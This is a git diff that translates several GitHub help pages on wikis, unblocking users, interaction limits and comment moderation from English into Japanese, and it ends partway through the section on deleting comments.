-- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)"
-- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)"
-- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)"
-- "[Searching wikis](/search-github/searching-on-github/searching-wikis)"
+- 「[ウィキページを追加または編集する](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)」
+- 「[ウィキにフッタやサイドバーを作成する](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)」
+- 「[ウィキのコンテンツを編集する](/communities/documenting-your-project-with-wikis/editing-wiki-content)」
+- [Wkiの変更履歴の表示](/articles/viewing-a-wiki-s-history-of-changes)
+- [Wikiの検索](/search-github/searching-on-github/searching-wikis)
diff --git a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
index 9051feb405..760120ef4b 100644
--- a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
+++ b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Adding or editing wiki pages
-intro: 'You can add and edit wiki pages directly on {% data variables.product.product_name %} or locally using the command line.'
+title: ウィキページを追加または編集する
+intro: 'ウィキページは、{% data variables.product.product_name %} 上で直接、あるいはコマンドラインを使ってローカルで追加および編集できます。'
 redirect_from:
   - /articles/adding-wiki-pages-via-the-online-interface
   - /articles/editing-wiki-pages-via-the-online-interface
@@ -16,55 +16,47 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Manage wiki pages
+shortTitle: Wikiページの管理
 ---
 
-## Adding wiki pages
+## ウィキページを追加する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. In the upper-right corner of the page, click **New Page**.
-  ![Wiki new page button](/assets/images/help/wiki/wiki_new_page_button.png)
-4. Optionally, to write in a format other than Markdown, use the Edit mode drop-down menu, and click a different format.
-  ![Wiki markup selection](/assets/images/help/wiki/wiki_dropdown_markup.gif)
-5. Use the text editor to add your page's content.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
-6. Type a commit message describing the new file you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-7. To commit your changes to the wiki, click **Save Page**.
+3. ページの右上にある [**New Page**] をクリックします。 ![ウィキの新規ページボタン](/assets/images/help/wiki/wiki_new_page_button.png)
+4. Markdown 以外のフォーマットで書くために、[Edit mode] ドロップダウンメニューを使い、他のフォーマットをクリックすることもできます。 ![ウィキのマークアップの選択](/assets/images/help/wiki/wiki_dropdown_markup.gif)
+5. テキストエディタを使って、ページの内容を追加してください。 ![ウィキの WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. 追加しようとしている新しいファイルを説明するコミットメッセージを入力してください。 ![ウィキのコミットメッセージ](/assets/images/help/wiki/wiki_commit_message.png)
+7. 変更を wiki にコミットするには [**Save Page**] をクリックします。
 
-## Editing wiki pages
+## ウィキページを編集する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-4. Using the wiki sidebar, navigate to the page you want to change. In the upper-right corner of the page, click **Edit**.
-   ![Wiki edit page button](/assets/images/help/wiki/wiki_edit_page_button.png)
-5. Use the text editor edit the page's content.
-   ![Wiki WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
-6. Type a commit message describing your changes.
-   ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-7. To commit your changes to the wiki, click **Save Page**.
+4. ウィキサイドバーを使用して、変更したいページに移動してください。 ページの右上にある [**Edit**] をクリックしてください。 ![ウィキのページ編集ボタン](/assets/images/help/wiki/wiki_edit_page_button.png)
+5. テキストエディタを使って、ページの内容を編集します。 ![ウィキの WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. 変更内容を説明するコミットメッセージを入力します。 ![ウィキのコミットメッセージ](/assets/images/help/wiki/wiki_commit_message.png)
+7. 変更を wiki にコミットするには [**Save Page**] をクリックします。
 
-## Adding or editing wiki pages locally
+## ローカルでウィキページを追加または編集する
 
-Wikis are part of Git repositories, so you can make changes locally and push them to your repository using a Git workflow.
+ウィキは Git のリポジトリの一部なので、Git ワークフローを使ってローカルで変更を加え、リポジトリにプッシュできます。
 
-### Cloning wikis to your computer
+### 手元のコンピュータへウィキをクローンする
 
-Every wiki provides an easy way to clone its contents down to your computer.
-You can clone the repository to your computer with the provided URL:
+すべてのウィキは、その内容をあなたのコンピュータにクローンする簡単な方法を提供しています。 提供されている次の URL でお使いのコンピュータにリポジトリをクローンできます。
 
 ```shell
 $ git clone https://github.com/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.wiki.git
-# Clones the wiki locally
+# ローカルに wiki をクローン
 ```
 
-Once you have cloned the wiki, you can add new files, edit existing ones, and commit your changes. You and your collaborators can create branches when working on wikis, but only changes pushed to the default branch will be made live and available to your readers.
+wiki をクローンした後は、新しいファイルの追加、既存のファイルの編集、変更のコミットができます。 ユーザとコラボレータは、Wiki で作業するときにブランチを作成できますが、デフォルトブランチにプッシュされた変更のみがライブになり、読者はそれのみを利用できます。
 
-## About wiki filenames
+## ウィキのファイル名について
 
-The filename determines the title of your wiki page, and the file extension determines how your wiki content is rendered.
+wiki のページのタイトルはファイル名で決まり、ファイルの拡張子で wiki の内容の描画方法が決まります。
 
-Wikis use [our open-source Markup library](https://github.com/github/markup) to convert the markup, and it determines which converter to use by a file's extension. For example, if you name a file *foo.md* or *foo.markdown*, wiki will use the Markdown converter, while a file named *foo.textile* will use the Textile converter.
+wiki は[弊社のオープンソースマークアップライブラリ](https://github.com/github/markup)でマークアップに変換され、ライブラリはファイルの拡張子によって使用するコンバータが決定されます。 たとえばファイルに *foo.md* あるいは *foo.markdown* という名前を付けた場合、wiki は Markdown コンバータを使います。一方で、*foo.textile* という名前のファイルには Textile コンバータが使われます。
 
-Don't use the following characters in your wiki page's titles: `\ / : * ? " < > |`. Users on certain operating systems won't be able to work with filenames containing these characters. Be sure to write your content using a markup language that matches the extension, or your content won't render properly.
+wiki ページのタイトルには `\ / : * ? " < > |` という文字は使わないでください。 特定のオペレーティングシステムのユーザは、これらの文字を含むファイル名を扱えません。 内容を書く上では、拡張子にマッチしたマークアップ言語を使ってください。そうなっていない場合、内容は正しく描画されません。
diff --git a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
index 06192a9266..75a9f6ed98 100644
--- a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
+++ b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a footer or sidebar for your wiki
-intro: You can add a custom sidebar or footer to your wiki to provide readers with more contextual information.
+title: ウィキにフッタやサイドバーを作成する
+intro: カスタムのサイドバーやフッタをウィキに追加して、さらに多くのコンテキスト情報を読者に提供できます。
 redirect_from:
   - /articles/creating-a-footer
   - /articles/creating-a-sidebar
@@ -14,33 +14,27 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create footer or sidebar
+shortTitle: フッターまたはサイドバーの作成
 ---
 
-## Creating a footer
+## フッタの作成
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. At the bottom of the page, click **Add a custom footer**.
-  ![Wiki add footer section](/assets/images/help/wiki/wiki_add_footer.png)
-4. Use the text editor to type the content you want your footer to have.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-footer.png)
-5. Enter a commit message describing the footer you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-6. To commit your changes to the wiki, click **Save Page**.
+3. ページの下部にある [**Add a custom footer**] をクリックします。 ![ウィキのフッタセクションの追加](/assets/images/help/wiki/wiki_add_footer.png)
+4. テキストエディタを使用して、フッタに表示するコンテンツを入力します。 ![ウィキの WYSIWYG](/assets/images/help/wiki/wiki-footer.png)
+5. 追加中のフッタを説明するコミットメッセージを入力します。 ![ウィキのコミットメッセージ](/assets/images/help/wiki/wiki_commit_message.png)
+6. 変更を wiki にコミットするには [**Save Page**] をクリックします。
 
-## Creating a sidebar
+## サイドバーの作成
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. Click **Add a custom sidebar**.
-  ![Wiki add sidebar section](/assets/images/help/wiki/wiki_add_sidebar.png)
-4. Use the text editor to add your page's content.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-sidebar.png)
-5. Enter a commit message describing the sidebar you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-6. To commit your changes to the wiki, click **Save Page**.
+3. [**Add a custom sidebar**] をクリックします。 ![ウィキのサイドバーの追加](/assets/images/help/wiki/wiki_add_sidebar.png)
+4. テキストエディタを使って、ページの内容を追加してください。 ![ウィキの WYSIWYG](/assets/images/help/wiki/wiki-sidebar.png)
+5. 追加するサイドバーを説明するコミットメッセージを入力します。 ![ウィキのコミットメッセージ](/assets/images/help/wiki/wiki_commit_message.png)
+6. 変更を wiki にコミットするには [**Save Page**] をクリックします。
 
-## Creating a footer or sidebar locally
+## フッタまたはサイドバーをローカルで作成
 
-If you create a file named `_Footer.<extension>` or `_Sidebar.<extension>`, we'll use them to populate the footer and sidebar of your wiki, respectively. Like every other wiki page, the extension you choose for these files determines how we render them.
+`_Footer.<extension>` というファイルがフッタの、そして `_Sidebar.<extension>` というファイルがサイドバーの内容として使われます。 他のすべてのウィキページと同じく、これらのファイルは、その拡張子に応じて描画されます。
diff --git a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
index c132ba8340..137a9c824c 100644
--- a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
+++ b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
@@ -1,6 +1,6 @@
 ---
-title: Editing wiki content
-intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.'
+title: ウィキのコンテンツを編集する
+intro: ウィキ内のコンテンツに画像やリンクを追加したり、一部のサポートされている MediaWiki 形式を使用したりできます。
 redirect_from:
   - /articles/adding-links-to-wikis
   - /articles/how-do-i-add-links-to-my-wiki
@@ -21,40 +21,39 @@ topics:
   - Community
 ---
 
-## Adding links
+## リンクの追加
 
-You can create links in wikis using the standard markup supported by your page, or using MediaWiki syntax. For example:
+ページでサポートされている標準的なマークアップや MediaWiki の構文を使ってウィキにリンクを作成できます。 例:
 
-- If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`.
-- With MediaWiki syntax, the link syntax is `[[Link Text|nameofwikipage]]`.
+- ページが Markdown でレンダリングされる場合、リンクの構文は `[Link Text](full-URL-of-wiki-page)` です。
+- MediaWiki 構文では、リンクの構文は `[[Link Text|nameofwikipage]]` となります。
 
-## Adding images
+## 画像の追加
 
-Wikis can display PNG, JPEG, and GIF images.
+ウィキでは PNG、JPEG、および GIF 画像を表示できます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**.
-4. On the wiki toolbar, click **Image**.
-   ![Wiki Add image button](/assets/images/help/wiki/wiki_add_image.png)
-5. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers).
-6. Click **OK**.
+3. ウィキ サイドバーを使って、変更したいページにアクセスし、[**Edit**] をクリックします。
+4. ウィキ ツールバーで [**Image**] をクリックします。 ![ウィキの画像追加ボタン](/assets/images/help/wiki/wiki_add_image.png)
+5. [Insert Image] ダイアログボックスで、画像の URL と代替テキスト (これは検索エンジンや画像リーダーで使われます) を入力します。
+6. [**OK**] をクリックします。
 
-### Linking to images in a repository
+### リポジトリでの画像へのリンク
 
-You can link to an image in a repository on {% data variables.product.product_name %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this:
+{% data variables.product.product_name %}上のリポジトリにある画像は、ブラウザで URL をコピーし、それを画像へのパスとして利用することでリンクできます。 たとえば、Markdown を使ってウィキに画像を埋め込むと、以下のようになります:
 
     [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]]
 
-## Supported MediaWiki formats
+## サポートされる MediaWiki 形式
 
-No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you.
-- Links ([except Asciidoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
-- Horizontal rules via `---`
-- Shorthand symbol entities (such as `&delta;` or `&euro;`)
+ウィキがどのマークアップ言語で書かれたかにかかわらず、特定の MediaWiki 構文を常に使用できます。
+- リンク ([Asciidoc を除く](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
+- 水平罫線: `---`
+- 省略記号エンティティ (`&delta;` や `&euro;` など)
 
-For security and performance reasons, some syntaxes are unsupported.
-- [Transclusion](https://www.mediawiki.org/wiki/Transclusion)
-- Definition lists
-- Indentation
-- Table of contents
+セキュリティとパフォーマンス上の理由により、一部の構文はサポートされていません。
+- [トランスクルージョン](https://www.mediawiki.org/wiki/Transclusion)
+- 定義リスト
+- インデント
+- 目次
diff --git a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/index.md b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/index.md
index fbec09d8fc..76878a1b08 100644
--- a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/index.md
+++ b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/index.md
@@ -1,7 +1,7 @@
 ---
-title: Documenting your project with wikis
-shortTitle: Using wikis
-intro: 'You can use a wiki to share detailed, long-form information about your project.'
+title: ウィキでプロジェクトを文書化する
+shortTitle: Wikiを使用する
+intro: ウィキを使用してプロジェクトに関する具体的な長文形式の情報を共有できます。
 redirect_from:
   - /categories/49/articles
   - /categories/wiki
diff --git a/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
index 9d91fc58fd..4e34aa14a9 100644
--- a/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
+++ b/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Unblocking a user from your organization
-intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.'
+title: Organization からユーザのブロックを解除する
+intro: Organization のオーナーは、過去にブロックしたユーザのブロックを解除し、Organization のリポジトリへのアクセスを回復できます。
 redirect_from:
   - /articles/unblocking-a-user-from-your-organization
   - /github/building-a-strong-community/unblocking-a-user-from-your-organization
@@ -9,38 +9,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Unblock from your org
+shortTitle: Organization からのブロックの解除
 ---
 
-After unblocking a user from your organization, they'll be able to contribute to your organization's repositories.
+Organization からユーザのブロックを解除すると、そのユーザは Organization のリポジトリにコントリビュートできるようになります。
 
-If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)."
+特定の時間だけユーザをブロックした場合、その時間が終われば自動的にブロックが解除されます。 詳細は「[Organization からユーザをブロックする](/articles/blocking-a-user-from-your-organization)」を参照してください。
 
 {% tip %}
 
-**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user.
+**参考**: コラボレータステータスや Star、Watch など、Organization からユーザをブロックした時に削除された設定については、そのユーザのブロックを解除しても復帰しません。
 
 {% endtip %}
 
-## Unblocking a user in a comment
+## コメントでユーザのブロックを解除する
 
-1. Navigate to the comment whose author you would like to unblock.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**.
-![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png)
-3. To confirm you would like to unblock the user, click **Okay**.
+1. 作者のブロックを解除したいコメントに移動します。
+2. コメントの右上にある、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、次に [**Unblock user**] をクリックします。 ![ユーザブロックの解除オプションを表示する水平のケバブアイコンとコメント調整メニュー](/assets/images/help/repository/comment-menu-unblock-user.png)
+3. ユーザのブロック解除を確定するために [**Okay**] をクリックします。
 
-## Unblocking a user in the organization settings
+## Organization 設定でユーザのブロックを解除する
 
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.moderation-settings %}
-5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**.
-![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png)
+5. [Blocked users] の下で、ブロックを解除したいユーザの横にある [**Unblock**] をクリックします。 ![ユーザブロックの解除ボタン](/assets/images/help/organizations/org-unblock-user-button.png)
 
-## Further reading
+## 参考リンク
 
-- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)"
-- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
-- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- [Organization からのユーザのブロック](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)
+- [個人アカウントからのユーザのブロック](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)
+- [個人アカウントからのユーザのブロック解除](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)
+- [悪用あるいはスパムのレポート](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
diff --git a/translations/ja-JP/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/ja-JP/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
index d2c37ba9c1..509b82d4c5 100644
--- a/translations/ja-JP/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
+++ b/translations/ja-JP/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Limiting interactions in your repository
-intro: You can temporarily enforce a period of limited activity for certain users on a public repository.
+title: リポジトリでのインタラクションを制限する
+intro: パブリックリポジトリ上の特定のユーザに対して、一定期間アクティビティ制限を適用することができます。
 redirect_from:
   - /articles/limiting-interactions-with-your-repository
   - /articles/limiting-interactions-in-your-repository
@@ -11,32 +11,30 @@ versions:
 permissions: People with admin permissions to a repository can temporarily limit interactions in that repository.
 topics:
   - Community
-shortTitle: Limit interactions in repo
+shortTitle: リポジトリ内でのインタラクションの制限
 ---
 
-## About temporary interaction limits
+## 一時的なインタラクションの制限について
 
 {% data reusables.community.interaction-limits-restrictions %}
 
-{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your repository.
+{% data reusables.community.interaction-limits-duration %} 制限期間が過ぎると、ユーザはリポジトリで通常のアクティビティを再開できます。
 
 {% data reusables.community.types-of-interaction-limits %}
 
-You can also enable activity limitations on all repositories owned by your user account or an organization. If a user-wide or organization-wide limit is enabled, you can't limit activity for individual repositories owned by the account. For more information, see "[Limiting interactions for your user account](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" and "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)."
+ユーザアカウントまたは Organization が所有するすべてのリポジトリでアクティビティ制限を有効にすることもできます。 ユーザ全体または Organization 全体の制限が有効になっている場合、そのアカウントが所有する個々のリポジトリのアクティビティを制限することはできません。 詳しい情報については、「[ユーザアカウントのインタラクションを制限する](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)」と「[Organization 内のインタラクションを制限する](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)」を参照してください。
 
-## Limiting interactions in your repository
+## リポジトリでのインタラクションを制限する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. In the left sidebar, click **Moderation settings**.
-  !["Moderation settings" in repository settings sidebar](/assets/images/help/repository/repo-settings-moderation-settings.png)
-1. Under "Moderation settings", click **Interaction limits**.
-  ![Interaction limits in repository settings ](/assets/images/help/repository/repo-settings-interaction-limits.png)
+1. 左サイドバーで [**Moderation settings**] をクリックします。 ![[Repository settings] サイトバーの [Moderation settings]](/assets/images/help/repository/repo-settings-moderation-settings.png)
+1. [Moderation settings] で、[**Interaction limits**] をクリックします。 ![リポジトリの設定での [Interaction limits] ](/assets/images/help/repository/repo-settings-interaction-limits.png)
 {% data reusables.community.set-interaction-limit %}
-  ![Temporary interaction limit options](/assets/images/help/repository/temporary-interaction-limits-options.png)
+  ![[Temporary interaction limits] のオプション](/assets/images/help/repository/temporary-interaction-limits-options.png)
 
-## Further reading
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)"
+## 参考リンク
+- [悪用あるいはスパムのレポート](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
+- [Organizationのリポジトリへの個人のアクセスの管理](/articles/managing-an-individual-s-access-to-an-organization-repository)
+- [ユーザアカウントのリポジトリ権限レベル](/articles/permission-levels-for-a-user-account-repository)
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/ja-JP/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/translations/ja-JP/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
index cd8481cdd1..437edca0e6 100644
--- a/translations/ja-JP/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
+++ b/translations/ja-JP/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
@@ -1,6 +1,6 @@
 ---
-title: Managing disruptive comments
-intro: 'You can {% ifversion fpt or ghec %}hide, edit,{% else %}edit{% endif %} or delete comments on issues, pull requests, and commits.'
+title: 混乱を生むコメントを管理する
+intro: 'Issue、プルリクエスト、 およびコミットに対するコメントを{% ifversion fpt or ghec %}非表示、編集{% else %}編集{% endif %}、削除できます。'
 redirect_from:
   - /articles/editing-a-comment
   - /articles/deleting-a-comment
@@ -13,79 +13,72 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Manage comments
+shortTitle: コメントの管理
 ---
 
-## Hiding a comment
+## コメントを非表示にする
 
-Anyone with write access to a repository can hide comments on issues, pull requests, and commits.
+リポジトリに対する書き込み権限があるユーザは、Issue、プルリクエスト、 およびコミットに対するコメントを非表示にすることができます。
 
-If a comment is off-topic, outdated, or resolved, you may want to hide a comment to keep a discussion focused or make a pull request easier to navigate and review. Hidden comments are minimized but people with read access to the repository can expand them.
+1 つのディスカッションに集中し、プルリクエストのナビゲーションとレビューがしやすいように、トピックから外れている、古い、または解決済みのコメントは非表示にすることができます。 非表示のコメントは最小化されますが、リポジトリに対する読み取りアクセスがあるユーザは展開することができます。
 
-![Minimized comment](/assets/images/help/repository/hidden-comment.png)
+![最小化されたコメント](/assets/images/help/repository/hidden-comment.png)
 
-1. Navigate to the comment you'd like to hide.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Hide**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete options](/assets/images/help/repository/comment-menu.png)
-3. Using the "Choose a reason" drop-down menu, click a reason to hide the comment. Then click, **Hide comment**.
+1. 非表示にするコメントに移動します。
+2. コメントの右上隅にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックしてから、[**Hide**] をクリックします。 ![編集、非表示、削除のオプションが表示されている水平の kebab アイコンとコメント モデレーション メニュー](/assets/images/help/repository/comment-menu.png)
+3. [Choose a reason] ドロップダウン メニューで、コメントを非表示にする理由をクリックします。 次に、[**Hide comment**] をクリックします。
   {% ifversion fpt or ghec %}
-  ![Choose reason for hiding comment drop-down menu](/assets/images/help/repository/choose-reason-for-hiding-comment.png)
+  ![[Choose reason for hiding comment] ドロップダウンメニュー](/assets/images/help/repository/choose-reason-for-hiding-comment.png)
   {% else %}
-  ![Choose reason for hiding comment drop-down menu](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png)
+  ![[Choose reason for hiding comment] ドロップダウンメニュー](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png)
   {% endif %}
 
-## Unhiding a comment
+## コメントを再表示する
 
-Anyone with write access to a repository can unhide comments on issues, pull requests, and commits.
+リポジトリに対する書き込み権限があるユーザは、Issue、プルリクエスト、 およびコミットに対するコメントを再表示することができます。
 
-1. Navigate to the comment you'd like to unhide.
-2. In the upper-right corner of the comment, click **{% octicon "fold" aria-label="The fold icon" %} Show comment**.
-   ![Show comment text](/assets/images/help/repository/hidden-comment-show.png)
-3. On the right side of the expanded comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Unhide**.
-   ![The horizontal kebab icon and comment moderation menu showing the edit, unhide, delete options](/assets/images/help/repository/comment-menu-hidden.png)
+1. 再表示するコメントに移動します。
+2. コメントの右上隅にある [**{% octicon "fold" aria-label="The fold icon" %}Show comment**] をクリックします。 ![コメント テキストの表示](/assets/images/help/repository/hidden-comment-show.png)
+3. 展開したコメントの右側にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}をクリックしてから、[**Unhide**] をクリックします。 ![編集、再表示、削除のオプションが表示されている水平の kebab アイコンとコメント モデレーションメニュー](/assets/images/help/repository/comment-menu-hidden.png)
 
-## Editing a comment
+## コメントを編集する
 
-Anyone with write access to a repository can edit comments on issues, pull requests, and commits.
+リポジトリに対する書き込み権限があるユーザは、Issue、プルリクエスト、およびコミットに対するコメントを編集することができます。
 
-It's appropriate to edit a comment and remove content that doesn't contribute to the conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
+会話に関係がない、コミュニティの行動規範{% ifversion fpt or ghec %}または GitHub の[コミュニティ ガイドライン](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}に違反している場合は、コメントを編集して内容を削除するのが妥当です。
 
-When you edit a comment, note the location that the content was removed from and optionally, the reason for removing it.
+コメントを編集する際には、削除した内容があった元の場所がわかるように記録し、オプションで削除の理由を示します。
 
-Anyone with read access to a repository can view a comment's edit history. The **edited** dropdown at the top of the comment contains a history of edits showing the user and timestamp for each edit.
+リポジトリの読み取りアクセスがあれば、誰でもコミットの編集履歴を見ることができます。 コメントの上部にある [**edited**] ドロップダウンには編集履歴があり、編集したユーザとタイムスタンプが表示されます。
 
-![Comment with added note that content was redacted](/assets/images/help/repository/content-redacted-comment.png)
+![内容を削除編集したというメモを追加したコメント](/assets/images/help/repository/content-redacted-comment.png)
 
-Comment authors and anyone with write access to a repository can also delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)."
+コメントの作者とリポジトリの書き込みアクセスがあるユーザは、コメントの編集履歴から機密情報を削除できます。 詳しい情報については、「[コメントの変更を追跡する](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)」を参照してください。
 
-1. Navigate to the comment you'd like to edit.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete, and report options](/assets/images/help/repository/comment-menu.png)
-3. In the comment window, delete the content you'd like to remove, then type `[REDACTED]` to replace it.
-  ![Comment window with redacted content](/assets/images/help/issues/redacted-content-comment.png)
-4. At the bottom of the comment, type a note indicating that you have edited the comment, and optionally, why you edited the comment.
-  ![Comment window with added note that content was redacted](/assets/images/help/issues/note-content-redacted-comment.png)
-5. Click **Update comment**.
+1. 編集したいコメントに移動します。
+2. コメントの右上隅にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、次に [**Edit**] をクリックします。 ![編集、非表示、削除、レポートのオプションが表示されている水平の kebab アイコンとコメント モデレーション メニュー](/assets/images/help/repository/comment-menu.png)
+3. コメント ウィンドウで、問題のある部分を削除し、その場所に `[REDACTED]` と入力します。 ![内容を削除したコメント ウィンドウ](/assets/images/help/issues/redacted-content-comment.png)
+4. コメントの下部に、コメントを編集したことを示すメモを入力し、オプションで編集した理由も入力します。 ![内容を削除したというメモを追加したコメント ウィンドウ](/assets/images/help/issues/note-content-redacted-comment.png)
+5. [**Update comment**] をクリックします。
 
-## Deleting a comment
+## コメントを削除する
 
-Anyone with write access to a repository can delete comments on issues, pull requests, and commits. Organization owners, team maintainers, and the comment author can also delete a comment on a team page.
